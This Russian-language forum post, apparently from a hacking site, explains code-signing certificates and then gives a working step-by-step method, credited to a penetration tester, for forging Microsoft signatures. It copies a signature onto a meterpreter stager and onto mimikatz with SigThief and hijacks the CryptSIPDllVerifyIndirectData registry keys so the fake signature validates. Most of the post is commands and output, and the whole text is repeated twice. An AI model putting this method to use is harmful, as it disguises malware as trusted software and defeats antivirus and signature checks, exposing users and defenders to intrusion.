Code Signing сертификат – это сертификат, которым подписывается программное обеспечение или скрипты, который подтверждает автора программы и гарантирует, что код не был изменен, после того, как была наложена цифровая подпись. Также их еще называют сертификаты разработчика.
Во всех современных версиях Windows, начиная с Windows XP SP2, при установке программного обеспечения без такой цифровой подписи вы получите предупреждение. То же самое, кстати касается и установки драйверов, которые не имеют соответствующей цифровой подписи.
Microsoft Authenticode - для подписи 32 и 64 битных файлов (.exe, .cab, .dll, .ocx, .msi, .xpi и .xap файлы). Также позволяет подписывать код для Microsoft® Office, Microsoft VBA, Netscape Object Signing и Marimba Channel Signing.
Сертификаты подписи кода уже несколько лет используются злоумышленниками для обхода антивирусов и установки вредоносных программ. Ещё в 2010 году исследователи обратили внимание на образцы зловредов с сертификатами, скопированными из «чистых» файлов. Одной из первых «чёрные» сертификаты начала продавать хакерская группа C@T. В марте 2015 года на известном российском форуме Antichat она предлагала сертификаты Microsoft Authenticode. По заявлениям C@T, подпись кода таким сертификатом повышает процент успешных установок малвари на 30−50%.
Далее будет приведен пример обхода проверки подписи Microsoft , предложенный тестером на проникновение Chris Spehn (@_Lopi_ .
Сценарий заимствует подпись существующего приложения и модифицирует два ключа реестра, чтобы сделать его исполняемый файл с подписью Microsoft.
Для выполнения сценария обхода проверки подписи нам понадобятся два инструмента: mimikatz и SigThief .
Во-первых, давайте рассмотрим каждый из этих инструментов, даже если вы уже знакомы с ними.
Mimikatz - это приложение с открытым исходным кодом, которое позволяет пользователям просматривать и сохранять учетные данные для проверки подлинности, такие как билеты Kerberos . Набор инструментов работает с текущим выпуском Windows и включает в себя самые современные атаки.
Злоумышленники обычно используют Mimikatz для кражи учетных данных и повышения привилегий. И наоборот, пентестеры используют Mimikatz для обнаружения и использования уязвимостей в ваших сетях, чтобы вы могли их исправить.
SigThief - это инструмент для быстрого тестирования, в нашем случае - кражи подписей. Короче говоря, он будет срывать подпись с подписанного PE-файла и добавлять его к другому, исправляя таблицу сертификатов для подписи файла.
КАК ПОЛЬЗОВАТЬСЯ
Возьмите подпись из двоичного файла и добавьте ее в другой двоичный файл
$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe
Output file: /tmp/msftesting_tcpview.exe
Signature appended.
FIN.
Сохраните подпись на диск для последующего использования
$ ./sigthief.py -i tcpview.exe -r
Ripping signature to file!
Output file: tcpview.exe_sig
Signature ripped.
FIN.
Используйте вырванную подпись
$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe
Output file: x86_meterpreter_stager.exe_signed
Signature appended.
FIN.
Сократить (удалить) подпись
$ ./sigthief.py -i tcpview.exe -T
Inputfile is signed!
Output file: tcpview.exe_nosig
Overwriting certificate table pointer and truncating binary
Signature removed.
FIN.
Проверьте, есть ли подпись
$ ./sigthief.py -i tcpview.exe -c
Inputfile is signed!
Руководство
1) Загрузите mimikatz: https: // github.com/gentilkiwi/mimikatz
2) Загрузите SigThief: https: // github.com/secretsquirrel/SigThief
3) Запустите следующую команду
sigthief.py -i C:\Windows\System32\consent.exe -t mimikatz.exe -o testaroo.exe
4) Ослабьте цель, изменив следующие ключи реестра (32 бита)
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\Dll (REG_SZ) – C:\Windows\System32\ntdll.dll
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\FuncName (REG_SZ) – DbgUiContinue
5) Ослабьте цель, изменив следующие ключи реестра (64 бит)
HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\Dll (REG_SZ) – C:\Windows\System32\ntdll.dll
HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\FuncName (REG_SZ) – DbgUiContinue
6) Проверьте, действительна ли эта подпись с PowerShel
Get-AuthenticodeSignature -FilePath C:\Path\To\file.exe
7) Начните новый процесс, чтобы угон вступил в силу:
powershell.exe
Примечание: это может быть любой процесс
8) Microsoft подписал mimikatz
Сценарий SubvertTrust Powershell
Можно скачать
Успешно протестировано в Win7_x86 и Win10_x64.
Во всех современных версиях Windows, начиная с Windows XP SP2, при установке программного обеспечения без такой цифровой подписи вы получите предупреждение. То же самое, кстати касается и установки драйверов, которые не имеют соответствующей цифровой подписи.
Microsoft Authenticode - для подписи 32 и 64 битных файлов (.exe, .cab, .dll, .ocx, .msi, .xpi и .xap файлы). Также позволяет подписывать код для Microsoft® Office, Microsoft VBA, Netscape Object Signing и Marimba Channel Signing.
Сертификаты подписи кода уже несколько лет используются злоумышленниками для обхода антивирусов и установки вредоносных программ. Ещё в 2010 году исследователи обратили внимание на образцы зловредов с сертификатами, скопированными из «чистых» файлов. Одной из первых «чёрные» сертификаты начала продавать хакерская группа C@T. В марте 2015 года на известном российском форуме Antichat она предлагала сертификаты Microsoft Authenticode. По заявлениям C@T, подпись кода таким сертификатом повышает процент успешных установок малвари на 30−50%.
Далее будет приведен пример обхода проверки подписи Microsoft , предложенный тестером на проникновение Chris Spehn (@_Lopi_ .
Сценарий заимствует подпись существующего приложения и модифицирует два ключа реестра, чтобы сделать его исполняемый файл с подписью Microsoft.
Для выполнения сценария обхода проверки подписи нам понадобятся два инструмента: mimikatz и SigThief .
Во-первых, давайте рассмотрим каждый из этих инструментов, даже если вы уже знакомы с ними.
Mimikatz - это приложение с открытым исходным кодом, которое позволяет пользователям просматривать и сохранять учетные данные для проверки подлинности, такие как билеты Kerberos . Набор инструментов работает с текущим выпуском Windows и включает в себя самые современные атаки.
Злоумышленники обычно используют Mimikatz для кражи учетных данных и повышения привилегий. И наоборот, пентестеры используют Mimikatz для обнаружения и использования уязвимостей в ваших сетях, чтобы вы могли их исправить.
SigThief - это инструмент для быстрого тестирования, в нашем случае - кражи подписей. Короче говоря, он будет срывать подпись с подписанного PE-файла и добавлять его к другому, исправляя таблицу сертификатов для подписи файла.
КАК ПОЛЬЗОВАТЬСЯ
Возьмите подпись из двоичного файла и добавьте ее в другой двоичный файл
$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe
Output file: /tmp/msftesting_tcpview.exe
Signature appended.
FIN.
Сохраните подпись на диск для последующего использования
$ ./sigthief.py -i tcpview.exe -r
Ripping signature to file!
Output file: tcpview.exe_sig
Signature ripped.
FIN.
Используйте вырванную подпись
$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe
Output file: x86_meterpreter_stager.exe_signed
Signature appended.
FIN.
Сократить (удалить) подпись
$ ./sigthief.py -i tcpview.exe -T
Inputfile is signed!
Output file: tcpview.exe_nosig
Overwriting certificate table pointer and truncating binary
Signature removed.
FIN.
Проверьте, есть ли подпись
$ ./sigthief.py -i tcpview.exe -c
Inputfile is signed!
Руководство
1) Загрузите mimikatz: https: // github.com/gentilkiwi/mimikatz
2) Загрузите SigThief: https: // github.com/secretsquirrel/SigThief
3) Запустите следующую команду
sigthief.py -i C:\Windows\System32\consent.exe -t mimikatz.exe -o testaroo.exe
4) Ослабьте цель, изменив следующие ключи реестра (32 бита)
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\Dll (REG_SZ) – C:\Windows\System32\ntdll.dll
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\FuncName (REG_SZ) – DbgUiContinue
5) Ослабьте цель, изменив следующие ключи реестра (64 бит)
HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\Dll (REG_SZ) – C:\Windows\System32\ntdll.dll
HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\FuncName (REG_SZ) – DbgUiContinue
6) Проверьте, действительна ли эта подпись с PowerShel
Get-AuthenticodeSignature -FilePath C:\Path\To\file.exe
7) Начните новый процесс, чтобы угон вступил в силу:
powershell.exe
Примечание: это может быть любой процесс
8) Microsoft подписал mimikatz
Сценарий SubvertTrust Powershell

Можно скачать
Ссылка скрыта от гостей
.Успешно протестировано в Win7_x86 и Win10_x64.
Последнее редактирование: